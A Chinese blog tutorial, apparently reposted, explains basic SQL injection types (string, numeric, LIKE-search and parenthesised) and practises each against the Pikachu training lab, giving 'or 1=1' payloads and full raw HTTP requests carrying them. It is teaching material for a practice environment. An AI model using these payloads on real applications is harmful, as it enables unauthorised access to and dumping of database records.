SQL注入漏洞之基础数据类型注入 字符 数字 搜索 XX 以及靶场实例哟

目录

基础数据类型SQL注入

字符类型注入

单引号双引号解释

案例练习: 

数字类型注入

案例

搜索性注入:

案例

XX性注入:

语句

案例

基础SQL注入类型分类


基础数据类型SQL注入

字符类型注入

'xxx' or 1=1 # 
select id,email from member where username=xx' or 1=1 #'
-----------------------------------转化成True 查询所有username 
select id,email from member where username= True #' 
-----------------------------------' 处于前面闭合状态 
-- # 注释得作用
select id,email form member where username = "vince" and 1=1 ''#
------------------------------------select id,email from member where username='vince or 1=1'#;
select id email from member where username = ‘vince’

单引号双引号解释

  • 这个语句的 vince or 1=1 '# 是直接被认作字符串

  • 我们在vince后面添加单引号来闭合vince

  • 再在1=1后面添加注释#来消除掉后面的单引号

  • #和--是mysql的sql语句注释符号

    • 这样来完成一个SQL语句的拼接合法性

      • 完整的语句为

    • select id,email from member where username='vince' or 1=1#';

我们回到pikachu平台输入 vince' or 1=1#

案例练习: 

这里说一下编码的问题

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1

  • get请求有很多%XXX,这个是URL编码
    • 为什么get请求在URL地址上会有一些是URL编码了
    • 这个简单的说,就是避免输入的一些特殊字符与其它代码关键字起冲突,所以HTTP协议会将一些特殊字符转义成URL编码

  • 所以我们在做GET请求的类型的sql注入的时候是需要注意URL编码格式的

  • 至于这个格式如何转移?
    • 很简单的一个办法就是拿到在线编码格式转移工具转移一下就可以了。
    • 在线转移工具很多这个自己搜索在线编码工具就可以了有很多很多。

GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_str.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

数字类型注入

语句

mysql> select username,email from member where id=1;
mysql> select username,email from member where id=1 or 1=1;

案例

  • 这里可以看到我们在请求参数中修改 传入注入语句并没有修改成URL编码格式,就可以注入成功. 
  • 这是为什么了?
    • 么有为什么,因为URL编码仅限于get请求这个记住就可以了。
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, iid=1 or 1=1 #&submit=%E6%9F%A5%E8%AF%A2


搜索性注入:

  • 在说搜索类型注入之前,我们要只是到sql语句中like是干嘛的?
    • 也就是模糊匹配的作用
    • %在最字符串最前面那么就模糊匹配后面的字符串就可
    • 字符串没有% 那么就说明是全匹配对应字符串
    • 前后%% 这说明 匹配只要中间有那个字符串的字符至于字符串前后是啥不管 
    • %在字符串最后面,则说明匹配字符串不管最后是什么只要前面的字符串符合标准就可以了
Select id,email from member where username like ‘%vin’
Select id,email from member where username like ‘vin%’
Select id,email from member where username like ‘%vin%’
  • select username,id,email from member where username like '%%' or 1=1 #%'

    • 注意: 这里的 %' or 1=1 #%' 虽然单引号可以闭合 但是很多时候还是需要闭合%

      • 也就是搜索性要多注意%的闭合

  • %%闭合也就是为了查询到更多的数据

%xxxx%' or 1=1 #%'
 xxxx%' or 1=1 #%'

案例

GET /pikachu/vul/sqli/sqli_search.php?name=%25%27+or+1%3D1+%23&submit=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_search.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


XX性注入:

select * from member where username=('vince') ;
select * from member where username=('xx') or 1=1;
select id,email from member where username=('') or 1=1 #')

语句

') or 1=1 #')

  Xx注入 注意小括号的闭合状态

    以上就是基本的数据类型

    注入 数字 字符 搜索 xx 注入类型

案例

GET /pikachu/vul/sqli/sqli_x.php?name=%27%29+or+1%3D1+%23%27%29&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_x.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i


基础SQL注入类型分类

主要分为如下四类:

  • 数字型

  • 字符型

  • 搜索型

  • xx型

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/68017.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ESP32】ESP32连接JY61P并通过WIFI发送给电脑

前言 手头上有个ESP32&#xff0c;发现有wifi功能&#xff0c;希望连接JY61P并通过WIFI把姿态数据发送给电脑 1.采用Arduino IDE编译器&#xff1b;需要安装ESP32的开发板管理器&#xff1b; 2.电脑接受数据是基于python的&#xff1b; 1. ESP32 连接手机WIFI #include <…

如何在data.table中处理缺失值

&#x1f4ca;&#x1f4bb;【R语言进阶】轻松搞定缺失值&#xff0c;让数据清洗更高效&#xff01; &#x1f44b; 大家好呀&#xff01;今天我要和大家分享一个超实用的R语言技巧——如何在data.table中处理缺失值&#xff0c;并且提供了一个自定义函数calculate_missing_va…

计算机视觉算法实战——无人机检测

✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ ​ ​ 1. 引言✨✨ 随着无人机技术的快速发展&#xff0c;无人机在农业、物流、监控等领域的应用越来越广泛。然而&#xff0c;无人机的滥用也带…

华为支付接入规范

为了确保用户获得良好的支付体验&#xff0c;Payment Kit制定了相关接入设计规范&#xff0c;请开发者遵照执行&#xff0c;具体要求&#xff08;非强制性&#xff09;如下&#xff1a; 一、支付方式呈现 涉及支付公司名称&#xff0c;请统一使用&#xff1a;花瓣支付&#xff…

Python人脸识别库DeepFace使用教程及源码解析

目录 一、DeepFace介绍 1、人脸库设计 2、DeepFace.find 3、DeepFace.verify 4、DeepFace.analyze 5、DeepFace.extract_faces 6、DeepFace.represent 7、DeepFace.stream 二、DeepFace二次开发 1、开发活体检测API 2、模型权重持久化 三、总结 一、DeepFace介绍 …

三分钟简单了解一些HTML的标签和语法_02

1.a标签演示 点击然后跳转 代码加入title 2.图片链接 3.锚点链接 点击就会跳转的当前位置 4.a标签小知识补充 该实例会跳转到顶,锚点链接则会跳转到相应的锚点 5. 结果:直接跳转到该页面的锚点处 6. 在 HTML 中&#xff0c;<tr>标签表示表格中的行&#xff08;TableRow&…

多选multiple下拉框el-select回显问题(只显示后端返回id)

首先保证v-model的值对应options数据源里面的id <el-form-item prop"subclass" label"分类" ><el-select v-model"formData.subclass" multiple placeholder"请选择" clearable :disabled"!!formData.id"><e…

2025年数学建模美赛:A题分析(1)Testing Time: The Constant Wear On Stairs

2025年数学建模美赛 A题分析&#xff08;1&#xff09;Testing Time: The Constant Wear On Stairs 2025年数学建模美赛 A题分析&#xff08;2&#xff09;楼梯磨损分析模型 2025年数学建模美赛 A题分析&#xff08;3&#xff09;楼梯使用方向偏好模型 2025年数学建模美赛 A题分…

企业级流程架构设计思路-基于价值链的流程架构

获取更多企业流程资料 纸上得来终觉浅&#xff0c;绝知此事要躬行 一.企业流程分级规则定义 1.流程分类分级的总体原则 2.完整的流程体系需要体现出流程的分类分级 03.通用的流程分级方法 04.流程分级的标准 二.企业流程架构设计原则 1.流程架构设计原则 流程框架是流程体…

智能风控 数据分析 groupby、apply、reset_index组合拳

目录 groupby——分组 本例 apply——对每个分组应用一个函数 等价用法 reset_index——重置索引 使用前​编辑 注意事项 groupby必须配合聚合函数、 关于agglist 一些groupby试验 1. groupby对象之后。sum&#xff08;一个列名&#xff09; 2. groupby对象…

尚硅谷大数据数仓项目superset db upgrade报错解决(2025.1.23解决)

尚硅谷大数据数仓项目superset db upgrade报错解决&#xff08;2025.1.23解决&#xff09;和 superset安装MySQL报错解决 解决方法&#xff08;2025.1.23解决&#xff09; 0.卸载之前安装好的Superset -- 退出当前环境 conda deactivate-- 卸载Superset conda remove -n sup…

linux-mysql在centos7安装和基础配置

1.安装mysql数据库 1.使用官网安装 1.检查是否存在mysql的分支mariadb [rootlocalhost ~]# rpm -qa |grep mariadb mariadb-libs-5.5.64-1.el7.x86_64 [rootlocalhost ~]# 2.卸载这个分支包 [rootlocalhost ~]# rpm -qa | grep mariadb mariadb-libs-5.5.64-1.el7.x86_64 …

YOLOv5训练自己的数据及rknn部署

YOLOv5训练自己的数据及rknn部署 一、下载源码二、准备自己的数据集2.1 标注图像2.2 数据集结构 三、配置YOLOv5训练3.1 修改配置文件3.2 模型选择 四、训练五、测试六、部署6.1 pt转onnx6.2 onnx转rknn 七、常见错误7.1 训练过程中的错误7.1.1 cuda: out of memory7.1.2 train…

移动端VR处理器和传统显卡的不同

骁龙 XR 系列芯片 更多地依赖 AI 技术 来优化渲染过程&#xff0c;而传统的 GPU 渲染 则倾向于在低画质下运行以减少负载。这种设计是为了在有限的硬件资源下&#xff08;如移动端 XR 设备&#xff09;实现高性能和低功耗的平衡。以下是具体的分析&#xff1a; 1. AI 驱动的渲染…

IoTDB结合Mybatis使用示例(增删查改自定义sql等)

IoTDB时序库是当前越来越流行以及基于其优势各大厂商越来越易接受的国产开源时序数据库&#xff0c;针对IoTDB的内容不做过多介绍&#xff0c;在使用该时序库时&#xff0c;往往有一定入门门槛&#xff0c;不同于关系型数据库或文档型数据库那般方便维护和接入开发&#xff0c;…

Git 小白入门教程

&#x1f3af; 这篇文章详细介绍了版本控制的重要性&#xff0c;特别是通过Git实现的分布式版本控制相对于SVN集中式控制的优势。文章首先解释了版本控制的基本概念&#xff0c;强调了在文档或项目多版本迭代中备份与恢复任意版本的能力。接着&#xff0c;重点阐述了Git的历史背…

.Net Core微服务入门全纪录(四)——Ocelot-API网关(上)

系列文章目录 1、.Net Core微服务入门系列&#xff08;一&#xff09;——项目搭建 2、.Net Core微服务入门全纪录&#xff08;二&#xff09;——Consul-服务注册与发现&#xff08;上&#xff09; 3、.Net Core微服务入门全纪录&#xff08;三&#xff09;——Consul-服务注…

【二叉树的深搜】二叉树剪枝

文章目录 814. 二叉树剪枝解题思路&#xff1a;深度优先遍历 后序遍历另一种写法 814. 二叉树剪枝 814. 二叉树剪枝 ​ 给你二叉树的根结点 root &#xff0c;此外树的每个结点的值要么是 0 &#xff0c;要么是 1 。 ​ 返回移除了所有不包含 1 的子树的原二叉树。 ​ 节点…

CSS实现实现票据效果 mask与切图方式

一、“切图”的局限性 传统的“切图”简单暴力,但往往缺少适应性。 适应性一般有两种,一是尺寸自适应,二是颜色可以自定义。 举个例子,有这样一个优惠券样式 关于这类样式实现技巧,之前在这篇文章中有详细介绍: CSS 实现优惠券的技巧 不过这里略微不一样的地方是,两个…

C语言数组详解:从基础到进阶的全面解析

在C语言中&#xff0c;数组是一种基本的数据结构&#xff0c;用于存储多个相同类型的数据。数组的引入使得C语言能够高效地存储和操作大量数据。在任何一个C语言程序中&#xff0c;数组都发挥着极其重要的作用。无论是在算法实现、数据存储、还是在复杂程序的设计中&#xff0c…